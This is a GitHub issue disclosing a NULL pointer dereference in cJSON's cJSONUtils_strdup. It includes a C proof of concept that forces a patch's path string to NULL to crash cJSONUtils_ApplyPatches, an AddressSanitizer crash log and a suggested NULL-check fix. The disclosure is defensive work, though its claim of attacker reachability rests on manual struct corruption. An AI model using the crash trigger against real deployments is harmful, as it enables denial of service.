Skip to content

Security/Bug: Null Pointer Dereference in cJSONUtils_strdup leads to Denial of Service (DoS) #1048

Description

@timeflies123

Issue Description:

A Null Pointer Dereference vulnerability exists in cJSON_Utils.c. The internal helper function cJSONUtils_strdup does not validate if the incoming pointer is NULL before passing it to strlen(). When processing a malformed JSON patch where critical string fields (like path) have a NULL value string, the application triggers a segmentation fault (Null Pointer Dereference), resulting in a Denial of Service (DoS).

Vulnerability Analysis:

The issue lies in cJSON_Utils.c:

static unsigned char* cJSONUtils_strdup(const unsigned char* const string)
{
    size_t length = 0;
    unsigned char *copy = NULL;

    // Vulnerability: No check for string == NULL before calling strlen()
    length = strlen((const char*)string) + sizeof(""); 
    ...
}

Root Cause:

Unlike cJSON_strdup in cJSON.c which checks if string is NULL, cJSONUtils_strdup completely lacks this safety guard.

When calling functions like cJSONUtils_ApplyPatches, if an attacker crafts a malicious patch object where the path or value item's valuestring is programmatically NULL or missing under certain edge cases, apply_patch() will eventually propagate this NULL pointer to cJSONUtils_strdup(). This results in strlen(NULL), leading to an immediate crash.

Steps to Reproduce

Proof of Concept (PoC)

Compile the following code with AddressSanitizer enabled (-fsanitize=address):

#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    printf("[PoC 1] cJSONUtils_strdup NULL dereference\n");
    printf("[*] Constructing malformed patch with path->valuestring = NULL\n");

    /* Create target object: { "k": 1 } */
    cJSON *obj = cJSON_CreateObject();
    cJSON_AddNumberToObject(obj, "k", 1);

    /* Construct patch: { "op": "remove", "path": "/k" } */
    cJSON *patch = cJSON_CreateObject();
    cJSON *op = cJSON_CreateString("remove");
    cJSON *path = cJSON_CreateString("/k");

    /* Critical: Force path->valuestring to be NULL to simulate a malformed/corrupted item */
    path->valuestring = NULL;

    cJSON_AddItemToObject(patch, "op", op);
    cJSON_AddItemToObject(patch, "path", path);

    cJSON *patches = cJSON_CreateArray();
    cJSON_AddItemToArray(patches, patch);

    printf("[*] Calling cJSONUtils_ApplyPatches()...\n");
    
    /* Triggering vulnerability */
    cJSONUtils_ApplyPatches(obj, patches);

    cJSON_Delete(obj);
    cJSON_Delete(patches);
    return 0;
}

ASan Crash Log

==189825==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55ff3336e33a bp 0x7ffd5b0f7c30 sp 0x7ffd5b0f7b70 T0)
==189825==The signal is caused by a READ memory access.
==189825==Hint: address points to the zero page.
    #0 0x55ff3336e33a in apply_patch /home/kali/Desktop/cjsson/cJSON_Utils.c:839
    #1 0x55ff3336ebd4 in cJSONUtils_ApplyPatches /home/kali/Desktop/cjsson/cJSON_Utils.c:1056
    #2 0x55ff333700f1 in main /home/kali/Desktop/cjsson/poc_1_strdup_null.c:60

Suggested Fix:

Align the behavior of cJSONUtils_strdup with cJSON_strdup by adding a NULL pointer check at the beginning of the function:

static unsigned char* cJSONUtils_strdup(const unsigned char* const string)
{
    size_t length = 0;
    unsigned char *copy = NULL;

    if (string == NULL)
    {
        return NULL;
    }

    length = strlen((const char*)string) + sizeof("");
    ...

Additionally, upstream callers (like apply_patch or detach_path) should properly handle cases where cJSONUtils_strdup returns NULL.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions